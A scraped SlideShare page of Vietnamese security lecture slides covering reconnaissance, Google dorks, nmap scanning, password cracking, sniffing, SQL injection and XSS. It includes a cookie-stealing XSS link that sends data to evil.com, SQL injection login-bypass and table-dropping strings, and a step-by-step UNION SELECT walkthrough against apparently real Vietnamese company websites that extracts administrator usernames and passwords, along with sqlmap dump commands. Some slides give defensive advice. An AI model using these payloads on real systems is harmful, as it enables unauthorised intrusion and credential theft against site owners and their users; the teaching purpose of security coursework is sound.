tấn công chưa đường dẫn sau
http://victim.com/search.php?term=<script>
document.location=‘http://evil.com/’+
document.cookie</script>
• Điều gì xảy ra khi người dùng nhấp vào đường
dẫn trên?
Ví dụ: Tấn công XSS (3)
Ví dụ: Tấn công XSS (4)
Ví dụ: Tấn công XSS (5)
Phòng chống tấn công XSS từ phía Server
Sử dụng bộ lọc chuỗi giá trị đầu ra để loại các ký
tự nhạy cảm:
-Hãy cẩn thận với các mẹo vượt qua bộ lọc
-Hãy lọc nhiều lần cho tới khi loại hết các từ khóa
-Ví dụ: lọc 1 lần chuỗi <script
<script src = “...” -> src = “...”
Nhưng <scr<scriptipt src = “...” -> <script src = “...”
-Một số công cụ khác: Dynamic Data Tainting,
Static Analysis
Phòng chống tấn công XSS từ phía Server
https://www.owasp.org/index.php/XSS_Filter_Evasion_Ch
eat_Sheet
• https://www.owasp.org/index.php/XSS_(Cross_Site_Scrip
ting)_Prevention_Cheat_Sheet
• https://www.owasp.org/index.php/DOM_based_XSS_Prev
ention_Cheat_Sheet

More Related Content

Similar to Bài giảng hack web.ppt

Báo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Báo cáo thực tập - Lần 1 - Hoàng Thanh QuýBáo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Báo cáo thực tập - Lần 1 - Hoàng Thanh QuýQuý Đồng Nast
 
Tuan vq bao cao thuc tap_ system hacking
Tuan vq bao cao thuc tap_ system hackingTuan vq bao cao thuc tap_ system hacking
Tuan vq bao cao thuc tap_ system hackingv7q3t
 
Báo cáo thực tập - Đàm Văn Sáng
Báo cáo thực tập  - Đàm Văn SángBáo cáo thực tập  - Đàm Văn Sáng
Báo cáo thực tập - Đàm Văn SángĐàm Văn Sáng
 
Bao cao session hijacking it-slideshares.blogspot.com
Bao cao session hijacking it-slideshares.blogspot.comBao cao session hijacking it-slideshares.blogspot.com
Bao cao session hijacking it-slideshares.blogspot.comphanleson
 
CEHv9_Finish 01 - Ethical Hacking.pdf
CEHv9_Finish 01 - Ethical Hacking.pdfCEHv9_Finish 01 - Ethical Hacking.pdf
CEHv9_Finish 01 - Ethical Hacking.pdfPeterTh3
 
Tấn công và khai thác mạng máy tính theo mô hình thường trực cao cấp APT - Lê...
Tấn công và khai thác mạng máy tính theo mô hình thường trực cao cấp APT - Lê...Tấn công và khai thác mạng máy tính theo mô hình thường trực cao cấp APT - Lê...
Tấn công và khai thác mạng máy tính theo mô hình thường trực cao cấp APT - Lê...Security Bootcamp
 
Report athena week 1
Report athena week 1Report athena week 1
Report athena week 1Liên Hán
 
Slide báo cáo cuối kì system hacking-Trần Nguyễn Lộc
Slide báo cáo cuối kì system hacking-Trần Nguyễn LộcSlide báo cáo cuối kì system hacking-Trần Nguyễn Lộc
Slide báo cáo cuối kì system hacking-Trần Nguyễn LộcLoc Tran
 
Report athena week 1
Report athena week 1Report athena week 1
Report athena week 1Liên Hán
 
Slide báo cáo: System Hacking
Slide báo cáo: System HackingSlide báo cáo: System Hacking
Slide báo cáo: System HackingHuynh Khang
 
Báo cáo system hacking
Báo cáo system hackingBáo cáo system hacking
Báo cáo system hackingHuynh Khang
 
Report athena week 1
Report athena week 1Report athena week 1
Report athena week 1Liên Hán
 
pentest là gì
pentest là gì pentest là gì
pentest là gì laonap166
 
Threat hunting.pptx
Threat hunting.pptxThreat hunting.pptx
Threat hunting.pptxSugarCane18
 

Similar to Bài giảng hack web.ppt (20)

Báo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Báo cáo thực tập - Lần 1 - Hoàng Thanh QuýBáo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Báo cáo thực tập - Lần 1 - Hoàng Thanh Quý
 
Tuan vq bao cao thuc tap_ system hacking
Tuan vq bao cao thuc tap_ system hackingTuan vq bao cao thuc tap_ system hacking
Tuan vq bao cao thuc tap_ system hacking
 
Báo cáo thực tập - Đàm Văn Sáng
Báo cáo thực tập  - Đàm Văn SángBáo cáo thực tập  - Đàm Văn Sáng
Báo cáo thực tập - Đàm Văn Sáng
 
Bao cao session hijacking it-slideshares.blogspot.com
Bao cao session hijacking it-slideshares.blogspot.comBao cao session hijacking it-slideshares.blogspot.com
Bao cao session hijacking it-slideshares.blogspot.com
 
Slide c1
Slide c1Slide c1
Slide c1
 
CEHv9_Finish 01 - Ethical Hacking.pdf
CEHv9_Finish 01 - Ethical Hacking.pdfCEHv9_Finish 01 - Ethical Hacking.pdf
CEHv9_Finish 01 - Ethical Hacking.pdf
 
Apt oct-2014
Apt oct-2014Apt oct-2014
Apt oct-2014
 
Tấn công và khai thác mạng máy tính theo mô hình thường trực cao cấp APT - Lê...
Tấn công và khai thác mạng máy tính theo mô hình thường trực cao cấp APT - Lê...Tấn công và khai thác mạng máy tính theo mô hình thường trực cao cấp APT - Lê...
Tấn công và khai thác mạng máy tính theo mô hình thường trực cao cấp APT - Lê...
 
Report athena week 1
Report athena week 1Report athena week 1
Report athena week 1
 
Slide báo cáo cuối kì system hacking-Trần Nguyễn Lộc
Slide báo cáo cuối kì system hacking-Trần Nguyễn LộcSlide báo cáo cuối kì system hacking-Trần Nguyễn Lộc
Slide báo cáo cuối kì system hacking-Trần Nguyễn Lộc
 
ATTT.pptx
ATTT.pptxATTT.pptx
ATTT.pptx
 
Foot printing
Foot printingFoot printing
Foot printing
 
Report athena week 1
Report athena week 1Report athena week 1
Report athena week 1
 
Slide báo cáo: System Hacking
Slide báo cáo: System HackingSlide báo cáo: System Hacking
Slide báo cáo: System Hacking
 
Báo cáo system hacking
Báo cáo system hackingBáo cáo system hacking
Báo cáo system hacking
 
Report athena week 1
Report athena week 1Report athena week 1
Report athena week 1
 
pentest là gì
pentest là gì pentest là gì
pentest là gì
 
Threat hunting.pptx
Threat hunting.pptxThreat hunting.pptx
Threat hunting.pptx
 
Cain & abel
Cain & abelCain & abel
Cain & abel
 
Ch18
Ch18Ch18
Ch18
 

Bài giảng hack web.ppt

  • 1. Một số phương pháp khai thác và bảo mật mạng
  • 2. Phương pháp Footprinting Giới thiệu về Footprinting 1 Phương pháp thực hiện Footprinting 2 Các công cụ được sử dụng trong Footprinting 3 Google Hacking 4 SQL Injection 5
  • 3. 1. Giới thiệu về Footprinting  Footprinting là kỹ thuật giúp tìm kiếm thông tin về một doanh nghiệp, cá nhân hay tổ chức.  Footprinting là một trong 3 giai đoạn cần phải làm trước khi thực hiện một cuộc tấn công.  Một kẻ tấn công dành 90% thời gian cho việc tìm kiếm thông tin về mục tiêu tấn công và 10% khác để thực hiện tấn công.  Kết quả của quá trình Footprinting là lấy được các thông tin cơ bản của mục tiêu tấn công:  Tên, địa chỉ công ty  Website công ty  Các thành viên trong công ty  Sơ đồ mạng …
  • 4. 1. Giới thiệu về Footprinting Các thông tin cần tìm kiếm cụ thể:
  • 5. 2. Phương pháp thực hiện Footprinting Có 2 phương pháp thực hiện Footprinting:  Passive Footprinting • Tìm kiếm thông qua các bài báo, trang web, hoặc từ các đối thủ với mục tiêu, …  Active Footprinting • Liên hệ trực tiếp với mục tiêu, tìm hiểu các thông tin cần thiết
  • 6. 2. Phương pháp thực hiện Footprinting Website: www.google.com www.whois.net www.tenmien.vn www.archive.org
  • 10. Ngoài ra còn rất nhiều các Website khác:  http://people.yahoo.com  http://www.intellius.com  http://maps.google.com  http://diadiem.com  http://www.publicprofiles.org  http://finance.google.com  http://www.jobsdb.com 2. Phương pháp thực hiện Footprinting
  • 11. 3. Các công cụ được sử dụng trong Footprinting Sam Spide Super Email Spider VitualRoute Trace Google Earth Whois Site Digger Maltego ….
  • 12. Sam Spade Cho phép người sử dụng có thể thực hiện các hành động:  Ping  Nslookup  Whois  Traceroute  …
  • 13. Super Email Spider Tìm kiếm thông tin về địa chỉ Email của cơ quan/ tổ chức sử dụng Search Engine:  Google  Lycos  iWon  Exiter  Hotbot  MSN  AOL  …
  • 14. VitualRoute Trace Hiển thị đường kết nối và địa chỉ, khu vực đường kết nối đi qua.
  • 15. Maltego Là công cụ được sử dụng để phát hiện ra các liên kết giữa:  Người sử dụng  Cơ quan  Tổ chức  Website  Domain  Dải mạng  Địa chỉ IP …
  • 16. 2. Google Hacking  Google Hacking là gì?  Là thuật ngữ được sử dụng khi Hacker tìm cách tìm lỗ hổng của mục tiêu hoặc dữ liệu nhạy cảm thông qua bộ máy tìm kiếm Google.  Google Haking Database là một cơ sở dữ liệu lưu trữ những câu lệnh để thực thi nhiệm vụ trên.  Hacker có thể làm được gì?  Tìm ra các lỗ hổng của Server: Lỗi phiên bản, bug, …  Các thông tin nhạy cảm từ các thông báo đưa ra  File chứa mật khẩu  Thư mục nhạy cảm: thư mục chứa code lỗi, …  Trang đăng nhập vào hệ thống  Trang chứa thông tin về cấu hình mạng, firewall như log firewall, …
  • 17. 2. Google Hacking Những cú pháp tìm kiếm nâng cao với Google: [intitle:]  Giúp Google giới hạn kết quả tìm kiếm về những trang có chứa từ đó trong tiêu đề.  VD: intitle:login password, allintitle:login password [inurl:]  Giới hạn kết quả tìm kiếm về những địa chỉ URL có chứa từ khóa t́m kiếm.  VD: inurl:etc/password, allinurl:etc/password [site:]  Giới hạn Google chỉ truy vấn những từ khóa xác định trong một site hoặc tên miền riêng biệt.  VD: site:actvn.edu.vn [filetype:]  Giới hạn Google chỉ tìm kiếm những files trên internet có phần mở rộng riêng biệt (như: doc, pdf hay ppt v.v...)  VD: filetype:doc
  • 18. 2. Google Hacking [link:]  Liệt kê những trang web mà có các liên kết đến đến những trang web chỉ định  VD: link:www.securityfocus.com [intext:]  Tìm kiếm các từ trong một website riêng biệt.  VD: intext:hacker  Một số thuật ngữ kết hợp sử dụng trong Google Hacking:  Index of /admin  Index of /passwd  Index of /password  Index of /mail  "Index of /" +passwd  "Index of /" +password.txt  "Index of /" +.htaccess  "Index of /secret“  "Index of /confidential“  "Index of /root“  "Index of /cgi-bin“  "Index of /credit-card“  "Index of /logs“  "Index of /config"
  • 19. 2. Google Hacking Ta cũng có thể dễ dàng tìm kiếm được những website lỗi viết bằng ngôn ngữ PHP có chứa thông tin hình ảnh. inurl:"index.php?option=com_media" site:com inurl:"index.php?option=com_media“ site:vn inurl:"index.php?option=com_media" site:edu.vn
  • 23. 2. Google Hacking Ngoài ra có thể sử dụng các công cụ tìm kiếm:
  • 25. 2. Google Hacking Các công cụ sử dụng trong Google Hacking:  Gooscan  GoogleHacks  Sige Digger www.hackersforcharity.org www.exploit-db.com
  • 27. www.themegallery.com NỘI DUNG Định nghĩa Scanning 1 Các kiểu Scanning 2 Các bước Scanning 3 Các công cụ sử dụng để Scanning 4
  • 28. 1. Định nghĩa Scanning Scanning là một trong ba giai đoạn Information Gathering mà Hacker cần thực hiện trước khi tiến hành một cuộc tấn công Các thông tin cần tìm kiếm trong giai đoạn Scanning: www.themegallery.com  Địa chỉ IP của hệ thống đích  Hệ điều hành  Kiến trúc hệ thống  Các cổng mở và các dịch vụ đang chạy trên hệ thống
  • 29. 2. Các kiểu Scanning  Có 3 kiểu Scanning:  Port Scanning: Quét cổng để xác định cổng/dịch vụ đang trong trạng thái active  Network Scanning: Quét dải mạng để xác định các host trên mạng đang hoạt động  Vulnerability Scanning: Quét lỗ hổng của hệ điều hành, của các ứng dụng đang hoạt động
  • 30. 3. Các bước Scanning
  • 31. 3. Các bước Scanning  Checking for live system:  Sử dụng giao thức ICMP: Ping  Có thể tham tham số -t để ping không giới hạn  Check for Open Ports:  Áp dụng cơ chế bắt tay ba bước  Sử dụng các Flag trong gói tin TCP khi quét theo kiểu TCP  Xác định gói tin ICMP type 3 code 3 khi quét theo kiểu UDP  Identity Services:  Dựa vào các Open Ports để xác định Service  Banner Grabbing/OS Fingerprinting  Sử dụng Telnet  Sử dụng công cụ: Nmap, SuperScan, …  Scan for Vulnerability  Sử dụng công cụ để phát hiện ra điểm yếu: Nessus, Retina, GFI LANGuard, Acunetix, …
  • 32. Cấu tạo gói tin TCP  SYN: Yêu cầu kết nối giữa hai máy tính  ACK: Trả lời kết nối hai máy tính có thể bắt đầu thực hiện  FIN: Kết thúc quá trình kết nối giữa hai máy tính  RST: Kết nối không thể sử dụng  PSH & URG: Thiết lập độ ưu tiên
  • 33. Cơ chế bắt tay ba bước Bước 1: Client bắn đến Server một gói tin SYN Bước 2: Server trả lời tới Client một gói tin SYN/ACK Bước 3: Client nhận được gói tin SYN/ACK sẽ gửi lại server một gói ACK.  Quá trình trao đổi thông tin giữa hai máy bắt đầu
  • 34. Các kiểu Port Scanning SYN Scan FIN Scan NULL Scan XMAS Scan TCP Connect Scan ACK Scan RPC Scan Windows Scan FTP Scan … TCP Scan:
  • 35. Các kiểu Port Scanning Nếu một port bị đóng, khi Server nhận được gói ICMP từ client nó sẽ cố gắng gửi một gói ICMP type 3 code 3 port với nội dung là “unreachable” về Client. UDP Scan:
  • 36. 4. Các công cụ sử dụng để Scanning Nmap Super Scan Retina Network Security Scanner Nessus Acunetix Web Vulnerability GFI LANGuard Network Security
  • 37. Nmap –sT: TCP scan –sU: UDP Scan –sP: Ping Scan –sF: FIN Scan –sX: XMAS Scan –sN: NULL Scan –sV: Scan tên các ứng dụng và version –SR: RPC Scan Cấu trúc: nmap [Scan Type(s)][Option]<host or net #1…[#N]> -O: Scan hệ điều hanh -P: Giải Port sử dụng để Scan -V: Sử dụng Scan 2 lần -P0: Không sử dụng Ping để Scan -6: Scan IPv6
  • 38. Super Scan  Có thể sử dụng để quét 1 địa chỉ hoặc quét 1 dải địa chỉ  Có thể sử dụng để quét theo kiểu Ping, Banner Grabbing, …
  • 39. Retina Network Security Scanner Là công cụ sử dụng để phát hiện ra các máy đang hoạt động trong mạng, quét lỗ hổng của hệ điều hành và lỗ hổng trên ứng dụng
  • 40. Acunetix Web Vulnerability Là công cụ được sử dụng để phát hiện ra các lỗ hổng của Website
  • 41. Module 3: System Hacking
  • 42. System Hacking Xác thực - Authentication 1 Các phương pháp xác thực trong Windows 2 Các kiểu tấn công Password 3 Các công cụ sử dụng trong System Hacking 4
  • 43. 1. Xác thực - Authentication Là một quá trình nhận dạng người sử dụng Hầu hết các phương thức xác thực dựa trên:  Những gì bạn biết (Username & Password)  Những gì bạn có (Smart Card, Certificated)  Những gì là bạn (Vân tay, mống mắt, …)
  • 44. 2. Các phương pháp xác thực trong Windows
  • 45. LM, NTLMv1 và NTLMv2 Attribute LM NTLMv1 NTLMv2 Password case sensitive No Yes Yes Hash key length 56bit + 56bit - - Password hash algorithm DES (ECB mode) MD4 MD4 Hash value length 64bit + 64bit 128bit 128bit C/R key length 56bit + 56bit + 16bit 56bit + 56bit + 16bit 128bit C/R algorithm DES (ECB mode) DES (ECB mode) HMAC_MD5 C/R value length 64bit + 64bit + 64bit 64bit + 64bit + 64bit 128bit
  • 46. Xác thực LM và NTLM
  • 48. 3. Các kiểu tấn công Password Các kiểu Password:  Password chỉ chứa ký tự: ABCDEF, abcdef  Password chỉ chứa số: 01234567  Password chỉ chứa các ký tự đặc biệt: !@#$%^  Password chỉ chứa ký tự và số: abc123def  Password chỉ chứa ký tự và ký tự đặc biệt: abc!@#  Password chỉ chứa ký tự đặc biệt và số: !@#1234  Password chứa cả ký tự, số và ký tự đặc biệt: Ab5!@3fT Các kiểu tấn công:  Passive Online Attack  Active Online Attack  Offline Attack
  • 49. Tấn công từ điển  Một hình thức tấn công mật khẩu phổ biến nhất là thông qua cơ chế thử vét cạn một tập mật khẩu khả nghi thiết lập sẵn(từ điển). Việc thử vét cạn từ điển có thể tiến hành theo hai cách:  Tấn công ngoại tuyến (off- line attack): Đòi hỏi kẻ tấn công phải truy cập được tới tập thông tin đối chứng (tập C) và biết các hàm xác minh. Từ đó người tấn công chỉ việc tiến hành thử lần lượt mỗi mật khẩu trong từ điển, xem giá trị thu được khi tác động bằng một hàm xác minh có rơi vào tập C hay không.  Tấn công trực tuyến (on- line attack): Đòi hỏi người tấn công phải truy nhập được các hàm logic L, để lần lượt gọi kiểm tra xem l(g) có trả lại thành công, với mỗi mật khẩu g trong từ điển và làm l từ L, chẳng hạn: đoán - thử bằng cách gọi chức năng login vào hệ thống.
  • 50. Tấn công từ điển 
  • 51. Tấn công từ điển 
  • 52. Passive Online Attack 1. Nghe lén trên đường truyền: Sniffing 2. Đợi cho đến khi có hành động xác thực 3. Bắt các gói tin có chứa yêu cầu xác thực Ưu điểm:  Khó phát hiện  Không tốn nhiều công sức Nhược điểm:  Khó thành công  Kẻ tấn công phải là người bên trong mạng  Tiêu tốn nhiều băng thông
  • 53. Active Online Attack Thử các Password khác nhau cho tới khi tìm được 1 Password đúng Ưu điểm:  Dễ thực hiện  Thành công với các mật khẩu dễ đoán Nhược điểm:  Khó thành công  Tốn nhiều thời gian  Cần thử một lượng lớn mật khẩu  Dễ bị phát hiện
  • 54. Offline Attack Truy cập vào hệ thống copy file chứa thông tin người sử dụng về: SAM Sử dụng một số biện pháp để crack password:  Dictionary Attack  Hybird Attack  Brute-force Attack Ưu điểm:  Dễ thành công kể cả với các Password mạnh Nhược điểm:  Tốn nhiều thời gian  Khó thực hiện
  • 55. 4. Một số công cụ sử dụng trong System Hacking Cain & Abel L0phtCrack WinPassword Pro PWDump OphCrack CHAOS Generator
  • 56. Cain & Abel Là công cụ cho phép bắt gói tin đi qua theo giao thức:  FTP  HTTP  IMAP  Telnet  … Có thể sử dụng để crack các mật khẩu mã hóa. Có thể crack mật khẩu từ file SAM hoặc file dump.
  • 57. L0phtCrack  Là công cụ được sử dụng để crack password từ:  Local  Máy tính khác trong mạng  File SAM  File PWDump  File chương trình tự Sniff  ….  Crack Password theo kiểu:  Dictionary  Hybird  Brute Force
  • 58. WinPassword Pro Là công cụ được sử dụng để Crack Password, tương tự L0phtCrack. Có thể Crack Password theo kiểu:  Brute Force  Dictionary
  • 59. PWDump Là công cụ cho phép xem và trích xuất file SAM của Windows
  • 60. CHAOS Generator Là công cụ cho phép sinh ra các từ ngẫu nhiên Chiều dài từ sinh ra phụ thuộc vào phần Length người sử dụng nhập vào Có thể sinh ra các từ chỉ chứa các ký tự in, ký tự thường, số, ký tự đặc biệt hoặc kết hợp.
  • 62. NỘI DUNG Định nghĩa 1 Các kiểu Sniff 2 Các biện pháp phòng chống Sniff 3 Các công cụ sử dụng trong Sniff và ARP 4
  • 63. 1. Định nghĩa Sniff là hình thức nghe lén trên hệ thống mạng, dựa trên những đặc điểm của cơ chế TCP/IP Sniff có thể là phần mềm hoặc thiết bị được sử dụng để chụp lại các thông tin lưu thông qua mạng Sử dụng Sniff để lấy cắp các thông tin:  Tài khoản  Mật khẩu  Các thông tin nhạy cảm khác …
  • 64. Giao thức có thể Sniff Các giao thức dễ bị Sniff:  Telnet và Rlogin: Username và Password.  HTTP: Dữ liệu được gửi đi dưới dạng rõ.  SMTP: Password và dữ liệu được gửi đi dưới dạng rõ.  NNTP: Password và dữ liệu được gửi đi dưới dạng rõ.  POP: Password và dữ liệu được gửi đi dưới dạng rõ.  FTP: Password và dữ liệu được gửi đi dưới dạng rõ.  IMAP: Password và dữ liệu được gửi đi dưới dạng rõ.  …
  • 65. 2. Các kiểu Sniff
  • 66. Passive Sniff Môi trường:  Chủ yếu hoạt động trong môi trường không có các thiết bị chuyển mạch gói.  Phổ biến hiện nay là các mạng sử dụng Hub, các mạng không dây. Cơ chế hoạt động:  Dựa trên cơ chế Broadcast gói tin thông qua Hub Đặc điểm:  Khó phát hiện
  • 67. Active Sniff Môi trường:  Chủ yếu hoạt động trong môi trường có các thiết bị chuyển mạch gói  Phổ biến hiện nay là các mạng sử dụng Switch Cơ chế hoạt động:  Sử dụng cơ chế ARP Spoofing và MAC Flooding Đặc điểm:  Chiếm nhiều băng thông mạng  Có thể dẫn đến nghẽn mạng hay gây quá tải trên chính NIC của máy đang dùng Sniff
  • 68. Address Resolution Protocol (ARP) Là giao thức lớp mạng được sử dụng để chuyển đổi từ địa chỉ IP sang địa chỉ vật lý (MAC). Để có được địa chỉ vật lý, host thực hiện broadcast một ARP request tới toàn bộ mạng. Host nhận được ARP request sẽ gửi trả lại yêu cầu với địa chỉ IP và địa chỉ MAC của mình.
  • 71. 3. Các biện pháp phòng chống Sniff Active Sniff (quản trị):  Công cụ: • Kiểm tra băng thông: Do khi Sniff có thể gây nghẽn mạng. • Bắt gói tin: Các Sniffer phải đầu độc ARP nên sẽ gửi ARP đi liên tục, nếu dùng các công cụ này có thể thấy được ai đang Sniff trong mạng.  Thiết bị: • Lọc MAC • Sử dụng VLAN Trunking, Port Security với Switch  Cấu hình SSL
  • 72. 3. Các biện pháp phòng chống Sniff Active Sniff (người dùng):  Sử dụng ARP dạng tĩnh  Sử dụng công cụ phát hiện Sniff  Tắt chức năng NetBios
  • 73. 3. Các biện pháp phòng chống Sniff Passive Sniff:  Thay việc sử dụng Hub bằng sử dụng Switch
  • 74. 4. Một số công cụ sử dụng trong Sniff và ARP Wireshark Cain & Abel Ethereal Switch Sniffer
  • 79.
  • 80. Tấn công và phòng chống SQL Injection Tấn công và phòng tránh Local Attack Tổng kết MENU NỘI DUNG TRÌNH BÀY
  • 81. 1. SQL Injection là gì? Là một kĩ thuật cho phép kẻ tấn công lợi dụng:  Lỗ hỏng trong việc kiểm tra dữ liệu nhập vào các ứng web  Các thông báo lỗi từ hệ quản trị cơ sở dữ liệu  Đưa vào thi hành các câu lệnh sql bất hợp pháp và gây ra các hậu quả nghiêm trọng I. TẤN CÔNG VÀ PHÒNG CHỐNG SQL INJECTION
  • 82. Các dạng tấn công sql injection Attack 4. Sử dụng các store procedures 1. Vượt kiểm tra lúc đăng nhập 3.Tấn công sử dụng câu lệnh insert 2. Tấn công sử dụng câu lệnh select
  • 83. 1. Vượt Kiểm tra lúc đăng nhập Câu kiểm tra thường dùng lúc đăng nhập
  • 84. 1. Vượt Kiểm tra lúc đăng nhập
  • 85. SQL Injection Web Server Attacker DB Server Firewall User Pass ‘ or 1=1-- Form
  • 86. 1. Vượt Kiểm tra lúc đăng nhập Các username và password thường dùng để đăng nhập với những trang bị lỗi SQL Injection Username Password ‘or’1’=’1 ‘or’1’=’1 ‘ or 1=1 ? Rỗng ‘ having 1=1 ? Mọi thứ ‘ or users.userName like ‘a%’ ? Mọi thứ ‘ or 1=1; drop table users; -- Mọi thứ ‘; shutdown with nowait;-- Mọi thứ ‘; exec master..xp_xxx; -- Mọi thứ ‘; exec master..xp_cmdshell ‘iisreset’; -- Mọi thứ
  • 87. Important Symbols ‘  “Hack” --  “Comment Out” ;  “End Statement” % , *  “Wildcards”
  • 88. 2.Dạng tấn công vượt qua kiểm tra đăng nhập Đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web. Trong trường hợp này, người ta có thể dùng hai trang, một trang HTML để hiển thị form nhập liệu và một trang ASP dùng để xử lí thông tin nhập từ phía người dùng. Ví dụ:
  • 89. login.htm <form action="ExecLogin.asp" method="post"> Username: <input type="text" name="fUSRNAME"><br> Password: <input type="password" name="fPASSWORD"><br> <input type="submit"> </form>
  • 90. execlogin.asp <% Dim vUsrName, vPassword, objRS, strSQL vUsrName = Request.Form("fUSRNAME") vPassword = Request.Form("fPASSWORD") strSQL = "SELECT * FROM T_USERS " & _ "WHERE USR_NAME=' " & vUsrName & _ " ' and USR_PASSWORD=' " & vPassword & " ' “ Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." If (objRS.EOF) Then Response.Write "Invalid login." Else Response.Write "You are logged in as " & objRS("USR_NAME") End If Set objRS = Nothing %>
  • 91. Người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu username/password của trang login.htm là: ' OR ' ' = ' . Lúc này, câu truy vấn sẽ được gọi thực hiện là: SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and USR_PASSWORD= '' OR ''='' Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ.
  • 92. SQL Injection in PHP $link = mysql_connect($DB_HOST, $DB_USERNAME, $DB_PASSWORD) or die ("Couldn't connect: " . mysql_error()); mysql_select_db($DB_DATABASE); $query = "select count(*) from users where username = '$username' and password = '$password‘ "; $result = mysql_query($query);
  • 93. SQL Injection Attack #1 Unauthorized Access Attempt: password = ’ or 1=1 -- SQL statement becomes: select count(*) from users where username = ‘user’ and password = ‘’ or 1=1 -- Checks if password is empty OR 1=1, which is always true, permitting access.
  • 94. 2. Sử dụng câu Select
  • 95. SQL Injection Attack #2 Database Modification Attack: password = foo’; delete from table users where username like ‘% DB executes two SQL statements: select count(*) from users where username = ‘user’ and password = ‘foo’ delete from table users where username like ‘%’
  • 96. Finding SQL Injection Bugs 1. Submit a single quote as input. If an error results, app is vulnerable. If no error, check for any output changes. 2. Submit two single quotes. Databases use ’’ to represent literal ’ If error disappears, app is vulnerable. 3. Try string or numeric operators.  Oracle: ’||’FOO  MS-SQL: ‘+’FOO  MySQL: ’ ’FOO  2-2  81+19  49-ASCII(1)
  • 97. 2. Sử dụng câu lệnh select Câu lệnh xử lí thường dùng: masp = Request.QueryString.Get("masp"); cm.CommandText = "select * from sanpham inner join loaisp on sanpham.maloai = loaisp.maloai where sanpham.masp='" + masp + "'"; Để xem chi tiết 1 sản phẩm: http://quatangsv.vn/Chitietsanpham.aspx?masp=HRDN
  • 98. Ứng dụng thực tế vào các website đang hoạt động online
  • 99.  Để biết website nào dính lỗi SQL Injection ta thêm dấu “ ’ ” vào sau thanh địa chỉ. Ví dụ:  http://vnbarcode.com/?php=product_detail&id=316’
  • 100.  Để biết website nào dính lỗi SQL Injection ta thêm dấu “ ’ ” vào sau thanh địa chỉ. Ví dụ:  http://www.nhuaphucthinh.com.vn/product.php?id=20’
  • 101.  http://www.nhuaphucthinh.com.vn/product.php?id=-20 UNION SELECT 1,2,group_concat(database()),4,5,6,7,8,9,10,11
  • 102.  http://www.nhuaphucthinh.com.vn/product.php?id=-20 UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()
  • 103.  http://www.nhuaphucthinh.com.vn/product.php?id=-20 UNION SELECT 1,2,group_concat(column_name),4,5,6,7,8,9,10,11 from information_schema.columns where table_name=0x61646d696e6973747261746f72
  • 104.  http://www.nhuaphucthinh.com.vn/product.php?id=-20 UNION SELECT 1,2,group_concat(AdmUsername,0x7c,AdmPassword),4,5,6,7,8,9,10,11 from administrator
  • 105. Dùng sqlmap và sử dụng Kali để tấn công website Công cụ: + Sử dụng Kali Linux + Trang website demo sau: Cú pháp: sqlmap -u <URL để tiêm> sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1  Kiểm tra được lỗi của trang website http://testphp.vulnweb.com/listproducts.php?cat=1
  • 106. Dùng sqlmap và sử dụng Kali để tấn công website Sử dụng bảng tham chiếu trong quá trình thực hiện
  • 107. Dùng sqlmap và sử dụng Kali để tấn công website Sử dụng tham số lấy Database của website (--dbs) sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -- dbs  Kiểm tra website về cơ sở dữ liệu Database nếu có
  • 108. Dùng sqlmap và sử dụng Kali để tấn công website Khi có Database ta thực hiện liệt kê trong CSDL đó có những bảng nào, thêm (--tables) sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 –D tênCSDL --tables  Kiểm tra website về các bảng trong cơ sở dữ liệu Database VD: sqlmap -u http://testphp. vulnweb.com/ listproducts.php?cat=1 –D acuart --tables
  • 109. Dùng sqlmap và sử dụng Kali để tấn công website Khi có CSDL, bảng, ta thực hiện liệt kê trường dữ liệu trong bảng đó ra, thêm (--columns) sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 –D tênCSDL –T bảnguser --columns  website tra về các cột trong bảng truy vấn
  • 110. Dùng sqlmap và sử dụng Kali để tấn công website Cuối cùng lấy thông tin của các cột trong bảng, ta chỉ định CSDL với –D, bảng với –T, cột với - C, thêm (--dump) để liệt kê hết các thực thể sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 –D tênCSDL –T bảnguser –C tentruong1, tentruong2,.. --dump  website tra về các Giá trị trong cột truy vấn
  • 111. 3. Sử dụng câu lệnh insert Câu lệnh sql thường dùng khi đăng kí: cmdangki.CommandText = “INSERT INTO Users(Tendangnhap, Matkhau) VALUES ('" + tendn.Value.ToString() + "', '" + matkhau.Value.ToString() + “)"; Lúc này người dùng nhập vào textbox tendn như sau: ‘ + (select top 1 tendn from users) + ‘
  • 112. 3. Sử dụng câu lệnh insert Lúc này câu lệnh sql trở thành: cmdangki.CommandText = “INSERT INTO Users(Tendangnhap, Matkhau) VALUES (‘’ + (select top 1 tendn from users) + ‘’, ‘abc’)";
  • 113. 4. Sử dụng stored procedures
  • 114. 5. Cách phòng tránh Kiểm soát chặt chẽ dữ liệu nhập vào  Viết hàm lọc các ký tự đặc biệt trong chuỗi nhập vào  Vd: " ", "'", ";", "--", "xp_", "select", "drop", "insert", "delete" Thiết lập cấu hình an toàn cho hệ quản trị cơ sở dữ liệu  Giới hạn quyền xử lí dữ liệu đến tài khoản người dùng  Tránh dùng đến các quyền như dbo hay sa.
  • 115. 5. Cách phòng tránh Kiểm tra, chỉ chấp nhận giá trị chứa các ký tự hợp lệ -Ký tự nào là hợp lệ? -Phụ thuộc ngữ cảnh • Sử dụng dấu ‘’ đặt trước các ký tự đặc biệt - Nếu kẻ tấn công chèn trước ký tự ‘’ ? • Bỏ qua các ký tự đặc biệt -Nếu kẻ tấn công dùng mã ASCII? -Luôn có cách vượt qua kiểm tra • Cách tốt hơn: không sử dụng các hàm có quá nhiều quyền thực thi. -Không hiệu quả với SQL Injection
  • 116.
  • 117.
  • 118.
  • 119.
  • 120.
  • 121.
